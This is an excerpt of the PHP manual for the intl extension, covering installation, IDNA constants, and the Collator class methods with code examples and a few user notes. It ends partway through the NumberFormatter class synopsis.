intl


Requirements

To build the extension you need to install the » ICU library of version 3.6+.

This extension is bundled with PHP as of PHP version 5.3.0. Alternatively, the PECL version of this extension may be used with all PHP versions greater than 5.2.0 (5.2.4+ recommended).

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This extension may be installed using the bundled version as of PHP 5.3.0, or as a PECL extension as of PHP 5.2.0. In other words, there are two methods to install the intl extension.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/intl.

Alternatively, --enable-intl will enable the bundled version while compiling PHP.

If your ICU is installed to a non-standard directory then you might want to specify its location in LD_LIBRARY_PATH environment variable so that dynamic linker can find it:

$ export LD_LIBRARY_PATH=/opt/icu/lib

Otherwise, if PHP and ICU are installed to their default locations, then the additional options to `configure' are not needed.

User Contributed Notes

xgretsch 04-Apr-2011 03:46
I'm running on Mac OS X using a MacPorts install. According to this page, my vanilla version of PHP 5.3.5 from MacPorts should include the intl functions by default. As far as I can see from phpinfo(), the MacPorts version did not disable it. However, the functions aren't visible and don't work.

It seems to require an additional:

sudo port install php5-intl

After which everything bursts into life.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Intl Configure Options
Name | Default | Changeable | Changelog
intl.default_locale |  | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

intl.default_locale string

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

INTL_MAX_LOCALE_LEN (integer)
Limit on locale length, set to 80 in PHP code. Locale names longer than this limit will not be accepted.
IDNA_DEFAULT (integer)
Prohibit processing of unassigned codepoints in the input for IDN functions and do not check if the input conforms to domain name ASCII rules.
IDNA_ALLOW_UNASSIGNED (integer)
Allow processing of unassigned codepoints in the input for IDN functions.
IDNA_USE_STD3_RULES (integer)
Check if the input for IDN functions conforms to domain name ASCII rules.
IDNA_CHECK_BIDI (integer)
Check whether the input conforms to the BiDi rules. Ignored by the IDNA2003 implementation, which always performs this check.
IDNA_CHECK_CONTEXTJ (integer)
Check whether the input conforms to the CONTEXTJ rules. Ignored by the IDNA2003 implementation, as this check is new in IDNA2008.
IDNA_NONTRANSITIONAL_TO_ASCII (integer)
Option for nontransitional processing in idn_to_ascii(). Transitional processing is activated by default. This option is ignored by the IDNA2003 implementation.
IDNA_NONTRANSITIONAL_TO_UNICODE (integer)
Option for nontransitional processing in idn_to_utf8(). Transitional processing is activated by default. This option is ignored by the IDNA2003 implementation.
INTL_IDNA_VARIANT_2003 (integer)
Use IDNA 2003 algorithm in idn_to_utf8() and idn_to_ascii(). This is the default.
INTL_IDNA_VARIANT_UTS46 (integer)
Use UTS #46 algorithm in idn_to_utf8() and idn_to_ascii().
IDNA_ERROR_EMPTY_LABEL (integer)
IDNA_ERROR_LABEL_TOO_LONG (integer)
IDNA_ERROR_DOMAIN_NAME_TOO_LONG (integer)
IDNA_ERROR_LEADING_HYPHEN (integer)
IDNA_ERROR_TRAILING_HYPHEN (integer)
IDNA_ERROR_HYPHEN_3_4 (integer)
IDNA_ERROR_LEADING_COMBINING_MARK (integer)
IDNA_ERROR_DISALLOWED (integer)
IDNA_ERROR_PUNYCODE (integer)
IDNA_ERROR_LABEL_HAS_DOT (integer)
IDNA_ERROR_INVALID_ACE_LABEL (integer)
IDNA_ERROR_BIDI (integer)
IDNA_ERROR_CONTEXTJ (integer)
Errors reported in a bitset returned by the UTS #46 algorithm in idn_to_utf8() and idn_to_ascii().

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
intl


Examples

Table of Contents

  • Basic usage of this extension

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage of this extension
intl


Basic usage of this extension

Each module provides two kind of APIs: a procedural one and an object oriented one. Both are actually identical and described in the corresponding document.

Note:

All input strings must be in UTF-8 encoding. All output strings are also in UTF-8.

Example #1 Example of using the procedural API

<?php
$coll  = collator_create('en_US');
$result = collator_compare($coll, "string#1", "string#2");
?>

Example #2 Example of using the object-oriented API

<?php
$coll = new Collator('en_US');
$al   = $coll->getLocale(Locale::ACTUAL_LOCALE);
echo "Actual locale: $al\n";

$formatter = new NumberFormatter('en_US', NumberFormatter::DECIMAL);
echo $formatter->format(1234567);
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
Collator
Examples


The Collator class

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Introduction

Provides string comparison capability with support for appropriate locale-sensitive sort orderings.

Class synopsis

Collator {
/* Methods */
__construct ( string $locale )
bool asort ( array &$arr [, int $sort_flag ] )
int compare ( string $str1 , string $str2 )
static Collator create ( string $locale )
int getAttribute ( int $attr )
int getErrorCode ( void )
string getErrorMessage ( void )
string getLocale ([ int $type ] )
string getSortKey ( string $str )
int getStrength ( void )
bool setAttribute ( int $attr , int $val )
bool setStrength ( int $strength )
bool sortWithSortKeys ( array &$arr )
bool sort ( array &$arr [, int $sort_flag ] )
}

Predefined Constants

Collator::FRENCH_COLLATION (integer)

Sort strings with different accents from the back of the string. This attribute is automatically set to On for the French locales and a few others. Users normally would not need to explicitly set this attribute. There is a string comparison performance cost when it is set On, but sort key length is unaffected. Possible values are:

  • Collator::ON
  • Collator::OFF(default)
  • Collator::DEFAULT_VALUE

Example #1 FRENCH_COLLATION rules

  • F=OFF cote < coté < côte < côté
  • F=ON cote < côte < coté < côté

Collator::ALTERNATE_HANDLING (integer)

The Alternate attribute is used to control the handling of the so called variable characters in the UCA: whitespace, punctuation and symbols. If Alternate is set to NonIgnorable (N), then differences among these characters are of the same importance as differences among letters. If Alternate is set to Shifted (S), then these characters are of only minor importance. The Shifted value is often used in combination with Strength set to Quaternary. In such a case, whitespace, punctuation, and symbols are considered when comparing strings, but only if all other aspects of the strings (base letters, accents, and case) are identical. If Alternate is not set to Shifted, then there is no difference between a Strength of 3 and a Strength of 4. For more information and examples, see Variable_Weighting in the » UCA. The reason the Alternate values are not simply On and Off is that additional Alternate values may be added in the future. The UCA option Blanked is expressed with Strength set to 3, and Alternate set to Shifted. The default for most locales is NonIgnorable. If Shifted is selected, it may be slower if there are many strings that are the same except for punctuation; sort key length will not be affected unless the strength level is also increased.

Possible values are:

  • Collator::NON_IGNORABLE(default)
  • Collator::SHIFTED
  • Collator::DEFAULT_VALUE

Example #2 ALTERNATE_HANDLING rules

  • S=3, A=N di Silva < Di Silva < diSilva < U.S.A. < USA
  • S=3, A=S di Silva = diSilva < Di Silva < U.S.A. = USA
  • S=4, A=S di Silva < diSilva < Di Silva < U.S.A. < USA

Collator::CASE_FIRST (integer)

The Case_First attribute is used to control whether uppercase letters come before lowercase letters or vice versa, in the absence of other differences in the strings. The possible values are Uppercase_First (U) and Lowercase_First (L), plus the standard Default and Off. There is almost no difference between the Off and Lowercase_First options in terms of results, so typically users will not use Lowercase_First: only Off or Uppercase_First. (People interested in the detailed differences between X and L should consult the Collation Customization). Specifying either L or U won't affect string comparison performance, but will affect the sort key length.

Possible values are:

  • Collator::OFF(default)
  • Collator::LOWER_FIRST
  • Collator::UPPER_FIRST
  • Collator:DEFAULT

Example #3 CASE_FIRST rules

  • C=X or C=L "china" < "China" < "denmark" < "Denmark"
  • C=U "China" < "china" < "Denmark" < "denmark"

Collator::CASE_LEVEL (integer)

The Case_Level attribute is used when ignoring accents but not case. In such a situation, set Strength to be Primary, and Case_Level to be On. In most locales, this setting is Off by default. There is a small string comparison performance and sort key impact if this attribute is set to be On.

Possible values are:

  • Collator::OFF(default)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Example #4 CASE_LEVEL rules

  • S=1, E=X role = Role = rôle
  • S=1, E=O role = rôle < Role

Collator::NORMALIZATION_MODE (integer)

The Normalization setting determines whether text is thoroughly normalized or not in comparison. Even if the setting is off (which is the default for many locales), text as represented in common usage will compare correctly (for details, see UTN #5). Only if the accent marks are in noncanonical order will there be a problem. If the setting is On, then the best results are guaranteed for all possible text input. There is a medium string comparison performance cost if this attribute is On, depending on the frequency of sequences that require normalization. There is no significant effect on sort key length. If the input text is known to be in NFD or NFKD normalization forms, there is no need to enable this Normalization option.

Possible values are:

  • Collator::OFF(default)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::STRENGTH (integer)

The ICU Collation Service supports many levels of comparison (named "Levels", but also known as "Strengths"). Having these categories enables ICU to sort strings precisely according to local conventions. However, by allowing the levels to be selectively employed, searching for a string in text can be performed with various matching conditions. For more detailed information, see collator_set_strength() chapter.

Possible values are:

  • Collator::PRIMARY
  • Collator::SECONDARY
  • Collator::TERTIARY(default)
  • Collator::QUATERNARY
  • Collator::IDENTICAL
  • Collator::DEFAULT_VALUE

Collator::HIRAGANA_QUATERNARY_MODE (integer)

Compatibility with JIS x 4061 requires the introduction of an additional level to distinguish Hiragana and Katakana characters. If compatibility with that standard is required, then this attribute should be set On, and the strength set to Quaternary. This will affect sort key length and string comparison string comparison performance.

Possible values are:

  • Collator::OFF(default)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::NUMERIC_COLLATION (integer)

When turned on, this attribute generates a collation key for the numeric value of substrings of digits. This is a way to get '100' to sort AFTER '2'.

Possible values are:

  • Collator::OFF(default)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::DEFAULT_VALUE (integer)
Collator::PRIMARY (integer)
Collator::SECONDARY (integer)
Collator::TERTIARY (integer)
Collator::DEFAULT_STRENGTH (integer)
Collator::QUATERNARY (integer)
Collator::IDENTICAL (integer)
Collator::OFF (integer)
Collator::ON (integer)
Collator::SHIFTED (integer)
Collator::NON_IGNORABLE (integer)
Collator::LOWER_FIRST (integer)
Collator::UPPER_FIRST (integer)

Table of Contents

  • Collator::asort — Sort array maintaining index association
  • Collator::compare — Compare two Unicode strings
  • Collator::__construct — Create a collator
  • Collator::create — Create a collator
  • Collator::getAttribute — Get collation attribute value
  • Collator::getErrorCode — Get collator's last error code
  • Collator::getErrorMessage — Get text for collator's last error code
  • Collator::getLocale — Get the locale name of the collator
  • Collator::getSortKey — Get sorting key for a string
  • Collator::getStrength — Get current collation strength
  • Collator::setAttribute — Set collation attribute
  • Collator::setStrength — Set collation strength
  • Collator::sortWithSortKeys — Sort array using specified collator and sort keys
  • Collator::sort — Sort array using specified collator

User Contributed Notes

There are no user contributed notes for this page.
Basic usage of this extension
Collator::asort
intl


Sort array maintaining index association

Collator
Collator::compare
Collator
PHP Manual

Collator::asort

collator_asort

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::asort -- collator_asort — Sort array maintaining index association

Description

Object oriented style

bool Collator::asort ( array &$arr [, int $sort_flag ] )

Procedural style

bool collator_asort ( Collator $coll , array &$arr [, int $sort_flag ] )

This function sorts an array such that array indices maintain their correlation with the array elements they are associated with. This is used mainly when sorting associative arrays where the actual element order is significant. Array elements will have sort order according to current locale rules.

Equivalent to standard PHP asort().

Parameters

coll

Collator object.

arr

Array of strings to sort.

sort_flag

Optional sorting type, one of the following:

  • Collator::SORT_REGULAR - compare items normally (don't change types)

  • Collator::SORT_NUMERIC - compare items numerically

  • Collator::SORT_STRING - compare items as strings

Default $sort_flag value is Collator::SORT_REGULAR. It is also used if an invalid $sort_flag value has been specified.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 collator_asort()example

<?php
$coll = collator_create( 'en_US' );
$arr = array(
     'a' => '100',
     'b' => '50',
     'c' => '7'
);
collator_asort( $coll, $arr, Collator::SORT_NUMERIC );
var_export( $arr );

collator_asort( $coll, $arr, Collator::SORT_STRING );
var_export( $arr );
?>

The above example will output:

array (
  'c' => '7',
  'b' => '50',
  'a' => '100',
)array (
  'a' => '100',
  'b' => '50',
  'c' => '7',
)

See Also

  • Collator constants
  • collator_sort() - Sort array using specified collator
  • collator_sort_with_sort_keys() - Sort array using specified collator and sort keys

User Contributed Notes

alix dot axel at NOSPAM dot gmail dot com 20-Feb-2011 07:31
For those of you who are looking for a way to integrate natural sorting with the UCA rules this hack seems to work:

<?php

$array = array
(
    '1', '100',
    'al', 'be',
    'Alpha', 'Beta',
    'Álpha', 'Àlpha', 'Älpha',
    'かたかな',
    'img1.png', 'img2.png',
    'img10.png', 'img20.png'
);

echo '<pre>';
print_r(sortIntl($array, true));
echo '</pre>';

function sortIntl($array, $natural = true)
{
    $data = $array;

    if ($natural === true)
    {
        $data = preg_replace_callback('~([0-9]+)~', 'natsortIntl', $data);
    }

    collator_asort(collator_create('root'), $data);

    return array_intersect_key($array, $data);
}

function natsortIntl($number)
{
    return sprintf('%032d', $number);
}

?>

Output:

Array
(
    [0] => 1
    [1] => 100
    [2] => al
    [3] => be
    [4] => Alpha
    [5] => Beta
    [6] => Álpha
    [7] => Àlpha
    [8] => Älpha
    [9] => かたかな
    [10] => img1.png
    [11] => img2.png
    [12] => img10.png
    [13] => img20.png
)
Collator
Collator::compare
Collator


Compare two Unicode strings

Collator::asort
Collator::__construct
Collator
PHP Manual

Collator::compare

collator_compare

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::compare -- collator_compare — Compare two Unicode strings

Description

Object oriented style

int Collator::compare ( string $str1 , string $str2 )

Procedural style

int collator_compare ( Collator $coll , string $str1 , string $str2 )

Compare two Unicode strings according to collation rules.

Parameters

coll

Collator object.

str1

The first string to compare.

str2

The second string to compare.

Return Values

Return comparison result:

  • 1 if str1 is greater than str2 ;

  • 0 if str1 is equal to str2;

  • -1 if str1 is less than str2 .

On error boolean FALSE is returned.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 collator_compare()example

<?php
$s1 = 'Hello';
$s2 = 'hello';

$coll = collator_create( 'en_US' );
$res  = collator_compare( $coll, $s1, $s2 );

if ($res === false) {
    echo collator_get_error_message( $coll );
} else if( $res > 0 ) {
    echo "s1 is greater than s2\n";
} else if( $res < 0 ) {
    echo "s1 is less than s2\n";
} else {
    echo "s1 is equal to s2\n";
}
?>

The above example will output:

s1 is greater than s2

See Also

  • collator_sort() - Sort array using specified collator

User Contributed Notes

There are no user contributed notes for this page.
Collator::asort
Collator::__construct
Collator


Create a collator

Collator::compare
Collator::create
Collator
PHP Manual

Collator::__construct

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::__construct — Create a collator

Description

Collator::__construct() ( string $locale )

Creates a new instance of Collator.

Parameters

locale

The locale whose collation rules should be used. Special values for locales can be passed in - if null is passed for the locale, the default locale collation rules will be used. If empty string ("") or "root" are passed, UCA rules will be used.

The Locale attribute is typically the most important attribute for correct sorting and matching, according to the user expectations in different countries and regions. The default » UCA ordering will only sort a few languages such as Dutch and Portuguese correctly ("correctly" meaning according to the normal expectations for users of the languages). Otherwise, you need to supply the locale to UCA in order to properly collate text for a given language. Thus a locale needs to be supplied so as to choose a collator that is correctly tailored for that locale. The choice of a locale will automatically preset the values for all of the attributes to something that is reasonable for that locale. Thus most of the time the other attributes do not need to be explicitly set. In some cases, the choice of locale will make a difference in string comparison performance and/or sort key length.

Return Values

Returns Collator instance.

Errors/Exceptions

Returns an "empty" object on error. You can use intl_get_error_code() and/or intl_get_error_message() to know what happened.

Examples

Example #1 Collator::__construct() example

<?php
$coll = new Collator( 'en_CA' );
?>

See Also

  • Collator::create() - Create a collator
  • collator_create() - Create a collator

User Contributed Notes

There are no user contributed notes for this page.
Collator::compare
Collator::create
Collator


Create a collator

Collator::__construct
Collator::getAttribute
Collator
PHP Manual

Collator::create

collator_create

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::create -- collator_create — Create a collator

Description

Object oriented style

static Collator Collator::create ( string $locale )

Procedural style

Collator collator_create ( string $locale )

The strings will be compared using the options already specified.

Parameters

locale

The locale containing the required collation rules. Special values for locales can be passed in - if null is passed for the locale, the default locale collation rules will be used. If empty string ("") or "root" are passed, » UCA rules will be used.

Return Values

Return new instance of Collator object, or NULL on error.

Examples

Example #1 collator_create() example

<?php
$coll = collator_create( 'en_US' );

if( !isset( $coll ) ) {
    printf( "Collator creation failed: %s\n", intl_get_error_message() );
    exit( 1 );
}
?>

See Also

  • Collator::__construct() - Create a collator

User Contributed Notes

There are no user contributed notes for this page.
Collator::__construct
Collator::getAttribute
Collator


Get collation attribute value

Collator::create
Collator::getErrorCode
Collator
PHP Manual

Collator::getAttribute

collator_get_attribute

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::getAttribute -- collator_get_attribute — Get collation attribute value

Description

Object oriented style

int Collator::getAttribute ( int $attr )

Procedural style

int collator_get_attribute ( Collator $coll , int $attr )

Get a value of an integer collator attribute.

Parameters

coll

Collator object.

attr

Attribute to get value for.

Return Values

Attribute value, or boolean FALSE on error.

Examples

Example #1 collator_get_attribute() example

<?php
$coll = collator_create( 'en_CA' );
$val = collator_get_attribute( $coll, Collator::NUMERIC_COLLATION );
if( $val === false )
{
    // Handle error.
}
?>

See Also

  • Collator constants
  • collator_set_attribute() - Set collation attribute
  • collator_get_strength() - Get current collation strength

User Contributed Notes

There are no user contributed notes for this page.
Collator::create
Collator::getErrorCode
Collator


Get collator's last error code

Collator::getAttribute
Collator::getErrorMessage
Collator
PHP Manual

Collator::getErrorCode

collator_get_error_code

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::getErrorCode -- collator_get_error_code — Get collator's last error code

Description

Object oriented style

int Collator::getErrorCode ( void )

Procedural style

int collator_get_error_code ( Collator $coll )

Parameters

coll

Collator object.

Return Values

Error code returned by the last Collator API function call.

Examples

Example #1 collator_get_error_code() example

<?php
$coll = collator_create( 'en_US' );
if( collator_get_attribute( $coll, Collator::FRENCH_COLLATION ) === false )
        handle_error( collator_get_error_code() );
?>

See Also

  • collator_get_error_message() - Get text for collator's last error code

User Contributed Notes

There are no user contributed notes for this page.
Collator::getAttribute
Collator::getErrorMessage
Collator


Get text for collator's last error code

Collator::getErrorCode
Collator::getLocale
Collator
PHP Manual

Collator::getErrorMessage

collator_get_error_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::getErrorMessage -- collator_get_error_message — Get text for collator's last error code

Description

Object oriented style

string Collator::getErrorMessage ( void )

Procedural style

string collator_get_error_message ( Collator $coll )

Retrieves the message for the last error.

Parameters

coll

Collator object.

Return Values

Description of an error occurred in the last Collator API function call.

Examples

Example #1 collator_get_error_message() example

<?php
$coll = collator_create( 'lt' );
if( collator_compare( $coll, 'y', 'k' ) === false ) {
    echo collator_get_error_message( $coll );
}
?>

See Also

  • collator_get_error_code() - Get collator's last error code

User Contributed Notes

There are no user contributed notes for this page.
Collator::getErrorCode
Collator::getLocale
Collator


Get the locale name of the collator

Collator::getErrorMessage
Collator::getSortKey
Collator
PHP Manual

Collator::getLocale

collator_get_locale

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::getLocale -- collator_get_locale — Get the locale name of the collator

Description

Object oriented style

string Collator::getLocale ([ int $type ] )

Procedural style

string collator_get_locale ( Collator $coll , int $type )

Get collector locale name.

Parameters

coll

Collator object.

type

You can choose between valid and actual locale ( Locale::VALID_LOCALE and Locale::ACTUAL_LOCALE, respectively). The default is the actual locale.

Return Values

Real locale name from which the collation data comes. If the collator was instantiated from rules or an error occurred, returns boolean FALSE.

Examples

Example #1 collator_get_locale() example

<?php
$coll    = collator_create( 'en_US_California' );
$res_val = collator_get_locale( $coll, Locale::VALID_LOCALE );
$res_act = collator_get_locale( $coll, Locale::ACTUAL_LOCALE );
printf( "Valid locale name: %s\nActual locale name: %s\n",
         $res_req, $res_val, $res_act );
?>

The above example will output:

Requested locale name: en_US_California
Valid locale name: en_US
Actual locale name: en

See Also

  • collator_create() - Create a collator

User Contributed Notes

There are no user contributed notes for this page.
Collator::getErrorMessage
Collator::getSortKey
Collator


Get sorting key for a string

Collator::getLocale
Collator::getStrength
Collator
PHP Manual

Collator::getSortKey

collator_get_sort_key

(No version information available, might only be in SVN)

Collator::getSortKey -- collator_get_sort_key — Get sorting key for a string

Description

Object oriented style

string Collator::getSortKey ( string $str )

Procedural style

string collator_get_sort_key ( Collator $coll , string $str )

Return collation key for a string.

Parameters

coll

Collator object.

str

The string to produce the key from.

Return Values

Returns the collation key for the string. Collation keys can be compared directly instead of strings.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 collator_get_sort_key()example

<?php
$s1 = 'Hello';

$coll = collator_create( 'en_US' );
$res  = collator_get_sort_key( $coll, $s1);

echo urlencode($res);
?>

The above example will output:

71%3F%3FE%01%09%01%8F%08%00

See Also

  • collator_sort() - Sort array using specified collator
  • collator_sort_with_sort_keys() - Sort array using specified collator and sort keys

User Contributed Notes

There are no user contributed notes for this page.
Collator::getLocale
Collator::getStrength
Collator


Get current collation strength

Collator::getSortKey
Collator::setAttribute
Collator
PHP Manual

Collator::getStrength

collator_get_strength

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::getStrength -- collator_get_strength — Get current collation strength

Description

Object oriented style

int Collator::getStrength ( void )

Procedural style

int collator_get_strength ( Collator $coll )

Parameters

coll

Collator object.

Return Values

Returns current collation strength, or boolean FALSE on error.

Examples

Example #1 collator_get_strength() example

<?php
$coll     = collator_create( 'en_US' );
$strength = collator_get_strength( $coll );
?>

See Also

  • Collator constants
  • collator_set_strength() - Set collation strength
  • collator_get_attribute() - Get collation attribute value

User Contributed Notes

There are no user contributed notes for this page.
Collator::getSortKey
Collator::setAttribute
Collator


Set collation attribute

Collator::getStrength
Collator::setStrength
Collator
PHP Manual

Collator::setAttribute

collator_set_attribute

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::setAttribute -- collator_set_attribute — Set collation attribute

Description

Object oriented style

bool Collator::setAttribute ( int $attr , int $val )

Procedural style

bool collator_set_attribute ( Collator $coll , int $attr , int $val )

Parameters

coll

Collator object.

attr

Attribute.

val

Attribute value.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 collator_set_attribute() example

<?php
$coll = collator_create( 'en_CA' );
$val  = collator_get_attribute( $coll, Collator::NUMERIC_COLLATION );
if ($val === false) {
    // Handle error.
} elseif ($val === Collator::ON) {
    // Do something useful.
}
?>

See Also

  • Collator constants
  • collator_get_attribute() - Get collation attribute value
  • collator_set_strength() - Set collation strength

User Contributed Notes

There are no user contributed notes for this page.
Collator::getStrength
Collator::setStrength
Collator


Set collation strength

Collator::setAttribute
Collator::sortWithSortKeys
Collator
PHP Manual

Collator::setStrength

collator_set_strength

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::setStrength -- collator_set_strength — Set collation strength

Description

Object oriented style

bool Collator::setStrength ( int $strength )

Procedural style

bool collator_set_strength ( Collator $coll , int $strength )

The » ICU Collation Service supports many levels of comparison (named "Levels", but also known as "Strengths"). Having these categories enables ICU to sort strings precisely according to local conventions. However, by allowing the levels to be selectively employed, searching for a string in text can be performed with various matching conditions.

  1. Primary Level: Typically, this is used to denote differences between base characters (for example, "a" < "b"). It is the strongest difference. For example, dictionaries are divided into different sections by base character. This is also called the level1 strength.

  2. Secondary Level: Accents in the characters are considered secondary differences (for example, "as" < "às" < "at"). Other differences between letters can also be considered secondary differences, depending on the language. A secondary difference is ignored when there is a primary difference anywhere in the strings. This is also called the level2 strength.

    Note:

    Note: In some languages (such as Danish), certain accented letters are considered to be separate base characters. In most languages, however, an accented letter only has a secondary difference from the unaccented version of that letter.

  3. Tertiary Level: Upper and lower case differences in characters are distinguished at the tertiary level (for example, "ao" < "Ao" < "aò"). In addition, a variant of a letter differs from the base form on the tertiary level (such as "A" and " "). Another example is the difference between large and small Kana. A tertiary difference is ignored when there is a primary or secondary difference anywhere in the strings. This is also called the level3 strength.

  4. Quaternary Level: When punctuation is ignored (see Ignoring Punctuations ) at level 13, an additional level can be used to distinguish words with and without punctuation (for example, "ab" < "a-b" < "aB"). This difference is ignored when there is a primary, secondary or tertiary difference. This is also known as the level4 strength. The quaternary level should only be used if ignoring punctuation is required or when processing Japanese text (see Hiragana processing).

  5. Identical Level: When all other levels are equal, the identical level is used as a tiebreaker. The Unicode code point values of the NFD form of each string are compared at this level, just in case there is no difference at levels 14. For example, Hebrew cantillation marks are only distinguished at this level. This level should be used sparingly, as only code point values differences between two strings is an extremely rare occurrence. Using this level substantially decreases the performance for both incremental comparison and sort key generation (as well as increasing the sort key length). It is also known as level 5 strength.

For example, people may choose to ignore accents or ignore accents and case when searching for text. Almost all characters are distinguished by the first three levels, and in most locales the default value is thus Tertiary. However, if Alternate is set to be Shifted, then the Quaternary strength can be used to break ties among whitespace, punctuation, and symbols that would otherwise be ignored. If very fine distinctions among characters are required, then the Identical strength can be used (for example, Identical Strength distinguishes between the Mathematical Bold Small A and the Mathematical Italic Small A.). However, using levels higher than Tertiary the Identical strength result in significantly longer sort keys, and slower string comparison performance for equal strings.

Parameters

coll

Collator object.

strength

Strength to set.

Possible values are:

  • Collator::PRIMARY

  • Collator::SECONDARY

  • Collator::TERTIARY

  • Collator::QUATERNARY

  • Collator::IDENTICAL

  • Collator::DEFAULT

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 collator_set_strength() example

<?php
$arr  = array( 'aò', 'Ao', 'ao' );
$coll = collator_create( 'en_US' );

// Sort array using default strength.
collator_sort( $coll, $arr );
var_export( $arr );

// Sort array using primary strength.
collator_set_strength( $coll, Collator::PRIMARY );
collator_sort( $coll, $arr );
var_export( $arr );
?>

The above example will output:

array (
  0 => 'ao',
  1 => 'Ao',
  2 => 'aò',
)
array (
  0 => 'aò',
  1 => 'Ao',
  2 => 'ao',
)

See Also

  • Collator constants
  • collator_get_strength() - Get current collation strength

User Contributed Notes

There are no user contributed notes for this page.
Collator::setAttribute
Collator::sortWithSortKeys
Collator


Sort array using specified collator and sort keys

Collator::setStrength
Collator::sort
Collator
PHP Manual

Collator::sortWithSortKeys

collator_sort_with_sort_keys

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::sortWithSortKeys -- collator_sort_with_sort_keys — Sort array using specified collator and sort keys

Description

Object oriented style

bool Collator::sortWithSortKeys ( array &$arr )

Procedural style

bool collator_sort_with_sort_keys ( Collator $coll , array &$arr )

Similar to collator_sort() but uses ICU sorting keys produced by ucol_getSortKey() to gain more speed on large arrays.

Parameters

coll

Collator object.

arr

Array of strings to sort

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 collator_sort_with_sort_keys() example

<?php
$arr  = array( 'Köpfe', 'Kypper', 'Kopfe' );
$coll = collator_create( 'sv' );

collator_sort_with_sort_keys( $coll, $arr );
var_export( $arr );
?>

The above example will output:

array (
  0 => 'Kopfe',
  1 => 'Kypper',
  2 => 'Köpfe',
)

See Also

  • Collator constants
  • collator_sort() - Sort array using specified collator
  • collator_asort() - Sort array maintaining index association

User Contributed Notes

There are no user contributed notes for this page.
Collator::setStrength
Collator::sort
Collator


Sort array using specified collator

Collator::sortWithSortKeys
NumberFormatter
Collator
PHP Manual

Collator::sort

collator_sort

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::sort -- collator_sort — Sort array using specified collator

Description

Object oriented style

bool Collator::sort ( array &$arr [, int $sort_flag ] )

Procedural style

bool collator_sort ( Collator $coll , array &$arr [, int $sort_flag ] )

This function sorts an array according to current locale rules.

Equivalent to standard PHP sort() .

Parameters

coll

Collator object.

arr

Array of strings to sort.

sort_flag

Optional sorting type, one of the following:

  • Collator::SORT_REGULAR - compare items normally (don't change types)

  • Collator::SORT_NUMERIC - compare items numerically

  • Collator::SORT_STRING - compare items as strings

Default sorting type is Collator::SORT_REGULAR. It is also used if an invalid sort_flag value has been specified.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 collator_sort() example

<?php
$coll = collator_create( 'en_US' );
$arr  = array( 'at', 'às', 'as' );

var_export( $arr );
collator_sort( $coll, $arr );
var_export( $arr );
?>

The above example will output:

array (
  0 => 'at',
  1 => 'às',
  2 => 'as',
)array (
  0 => 'as',
  1 => 'às',
  2 => 'at',
)

See Also

  • Collator constants
  • collator_asort() - Sort array maintaining index association
  • collator_sort_with_sort_keys() - Sort array using specified collator and sort keys

User Contributed Notes

There are no user contributed notes for this page.
Collator::sortWithSortKeys
NumberFormatter
Collator


The NumberFormatter class

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Introduction

Programs store and operate on numbers using a locale-independent binary representation. When displaying or printing a number it is converted to a locale-specific string. For example, the number 12345.67 is "12,345.67" in the US, "12 345,67" in France and "12.345,67" in Germany.

By invoking the methods provided by the NumberFormatter class, you can format numbers, currencies, and percentages according to the specified or default locale. NumberFormatter is locale-sensitive so you need to create a new NumberFormatter for each locale. NumberFormatter methods format primitive-type numbers, such as double and output the number as a locale-specific string.

For currencies you can use currency format type to create a formatter that returns a string with the formatted number and the appropriate currency sign. Of course, the NumberFormatter class is unaware of exchange rates so, the number output is the same regardless of the specified currency. This means that the same number has different monetary values depending on the currency locale. If the number is 9988776.65 the results will be:

  • 9 988 776,65 € in France
  • 9.988.776,65 € in Germany
  • $9,988,776.65 in the United States

In order to format percentages, create a locale-specific formatter with percentage format type. With this formatter, a decimal fraction such as 0.75 is displayed as 75%.

For more complex formatting, like spelled-out numbers, the rule-based number formatters are used.

Class synopsis

NumberFormatter {
/* Methods */
__construct ( string $locale , int $style [, string $pattern ] )
static NumberFormatter create ( string $locale , int $style [, string $pattern ] )
string formatCurrency ( float $value , string $currency )
string format ( number $value [, int $type ] )
int getAttribute ( int $attr )
int getErrorCode ( void )
string getErrorMessage ( void )
